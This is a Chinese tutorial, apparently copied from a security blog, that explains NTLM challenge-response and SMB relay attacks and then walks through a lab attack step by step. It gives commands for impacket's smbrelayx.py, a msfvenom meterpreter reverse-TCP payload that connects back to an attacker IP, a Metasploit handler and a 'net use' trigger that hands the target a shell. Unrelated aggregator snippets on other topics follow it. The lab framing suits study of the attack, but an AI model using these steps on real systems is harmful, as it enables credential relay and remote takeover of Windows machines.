SMB重放攻击
0x01 原理
正常情况下:client端 --------- server端
1、正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地
2、接着,client端会将自己的username明文发送给DC[server]
3、此时,DC会生成一组8字节的随机数,也叫challenge[挑战码],返回给client端
4、当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response[响应],最后再将challenge,response和username一并发送给server端
5、server端在接收到client端传过来的这个三个值以后会将它们分别都转发给DC
6、DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密
7、最后,就剩比对了,把客户端传过来的response和在[6]中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败
中间人攻击:client端 ----- 攻击者 ----- server端
1、client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2、然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3、攻击者拿到这个challenge以后再把它返回给client端
4、而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5、最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7、server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
0x02 目的
通过smb重放攻击获取目标机器的meterpreter
0x03 环境准备
1、目标机器:win2003
2、第三方机器:win2003
3、攻击机器:kali
0x04 攻击操作
1、下载安装impacket
安装impacket所依赖的加密库以及下载impacket到本地
pip install pycrypto
apt-get --reinstall install python-pyasn1 python-pyasn1-modules (这一步操作可能会报一些错误,可自行百度解决)
git clone https://github.com/CoreSecurity/impacket.git
进入impacket目录,执行以下命令:
python setup.py install
进入example目录,执行以下命令
python smbrelayx.py -h 目标机器ip -e 本地生成的木马位置(由第2步生成)

会等待接受第三方机器传递过来的smb流量
2、利用msfvenom生成一个木马,用来反弹我们的meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.74.136 LPORT=1234 -f exe -o /root/shell.exe

3、进入metasploit控制台,开始监听端口,等待反弹
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lport 1234
lport => 1234
msf exploit(multi/handler) > set lhost 192.168.74.136
lhost => 192.168.74.136
msf exploit(multi/handler) > exploit

4、在第三方机器上执行如下命令,向攻击机器传送smb流量
net use \\192.168.74.136\c$ "123456" /user:"administrator"
备注:192.168.74.136是攻击机器的ip

5、攻击机器捕捉到了smb 的登录凭证hash,然后,它又接着拿着这个hash到192.168.74.142[也就是我们的目标机器]去尝试登录,其实这就是所谓的重放,一旦登录成功,就会自动执行我们的马[类似我们用wmic远程执行代码]

6、成功获取目标机器返回的meterpreter

来源
https://klionsec.github.io/2016/07/20/smb-replay-attack/
SMB重放攻击的更多相关文章
- smb中继攻击
一.NTLM hash 和 Net-NTLM hash 1.客户端向服务器发送一个请求,请求中包含明文的登录用户名.服务器会提前保存登录用户名和对应的密码 hash 2.服务器接收到请求后,生成一个 ...
- Atitit smb网络邻居原理与实现查询列表
Atitit smb网络邻居原理与实现查询列表 1.1. SAMBA的起源1 1.2. Smb是否依赖unpn SSDP ,还是使用扫描遍历0-255发现原理1 2. SMB共享不成功原因分享(WI ...
- Atitit.android播放smb 网络邻居视频文件解决方案
Atitit.android播放smb 网络邻居视频文件解决方案 Android4.4 1.1. Android4视频播放器不能直接地支持smb协议..子好先转换成个http流 1.2. ES文件浏览 ...
- SMA、SMB、SMC封装的二极管
以常见的贴片肖特基二极管SS14 SS24 SS34为例,三种管子区别主要在电流上,有三种封装:SMA.SMB.SMC. 从成本和体积来说,优先选用最小尺寸的SMA/DO-214AC封装,其他封装一般 ...
- 使用openfiler设置SMB/CIFS共享总是不通过的一例与解决办法
最近使用openfiler进行空闲存储的集中化管理与多主机节点共享,等设置到了SMB/CIFS的时候总是通过不了,前提需要开启的LDAP内建在openfiler也都开启并设置好了,但就是无法通过&qu ...
- [linux]挂载smb
什么是 smb 服务器消息区块(英语:Server Message Block,缩写为SMB,服务器消息区块),又称网络文件共享系统(英语:Common Internet File System,缩写 ...
- java.lang.Exception: Could not determine the type of file "smb://zhangsan:123456@10.77.44.222/o/mmfiles_2016/40094/25556/2130.avi".
1. 使用smb协议上传文件 报上述错误 2. 解决方法 开启administrator超级管理员 smb地址改为smb://administrator:123456@10.10.10.10/o/.. ...
- .NET添加时间戳防止重放攻击
如过客户端在向服务端接口进行请求,如果请求信息进行了加密处理,被第三方截取到请求包,虽然第三方无法解密获取其中的数据,但是可以使用该请求包进行重复的请求操作.如果服务端不进行防重放攻击,就会参数服务器 ...
- 渗透杂记-2013-07-13 关于SMB版本的扫描
smb2的溢出,其实在metasploit里面有两个扫描器可以用,效果都差不多,只是一个判断的更加详细,一个只是粗略的判断. Welcome to the Metasploit Web Console ...
随机推荐
- python 字符串格式化符号含义及注释
字符串格式化符号含义 符号 说明 %C 格式化字符及其ASCII码 %S 格式化字符串 %d 格式化整数 %o 格式化无符号八进制数 %x 格式化无符号十六进制数 %X 格式化无符号十六进制数(大写) ...
- @transient加在属性前的作用
我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable ...
- C# Json转对象
第一步,项目添加negut的搜索Newtonsoft.Json,安装第一个:如图所示: 安装以后,自动引用. private ObservableCollection<Traffic> m ...
- 几个很好用SQL语法(SqlServer)
1,MERGE INTO 语句: 这个语法仅需要一次全表扫描就完成了全部工作,执行效率要高于INSERT+UPDATE,作用还是很强大的(简单的说就是它可以批量更新和插入处理一个数据集,如果存在就更新 ...
- 用Spider引擎解决数据库垂直和水平拆分的问题
作者介绍 张秀云,网名飞鸿无痕,现任职于腾讯,负责腾讯金融数据库的运维和优化工作.2007年开始从事运维方面的工作,经历过网络管理员.Linux运维工程师.DBA.分布式存储运维等多个IT职位.对Li ...
- 使用MVC Razor生成格式良好的HTML Body作为邮件内容
PS: 实例化邮件类MailMessage有一个属性IsBodyHtml指示邮件正文是否是HTML格式. 我想利用Razor View的Model Binding / Rendering功能为我从AS ...
- HDFS NameNode内存全景
一.概述 从整个HDFS系统架构上看,NameNode是其中最重要.最复杂也是最容易出现问题的地方,而且一旦NameNode出现故障,整个Hadoop集群就将处于不可服务的状态,同时随着数据规模和集群 ...
- 一、CSS概述 二、CSS的选择器(认识) 三、CSS样式和属性(练习) 四、重构商城首页DIV+CSS(页面布局)(重点) 浮动/更改显示方式
一.CSS概述###<1>概念 DIV,就是一个HTML元素,块级元素,通常结合CSS进行页面的布局. CSS,层叠样式表,给HTML元素增强显示. ###<2>作用 样式定义 ...
- 【译文】MySQL InnoDB 使用的锁分析
InnoDB 使用的 锁类型 共享锁和排它锁 意向锁 记录锁 间隙锁 Next-key 锁 插入意向锁 AUTO-INC 锁 共享锁和排他锁 InnoDB实现了俩个标准的行级锁,共享锁和排它锁. 共享 ...
- HBase Master高可用(HA)
HMaster没有单点问题,HBase中可以启动多个HMaster,通过Zookeeper的Master Election机制保证总有一个Master运行. 所以这里要配置HBase高可用的话,只需要 ...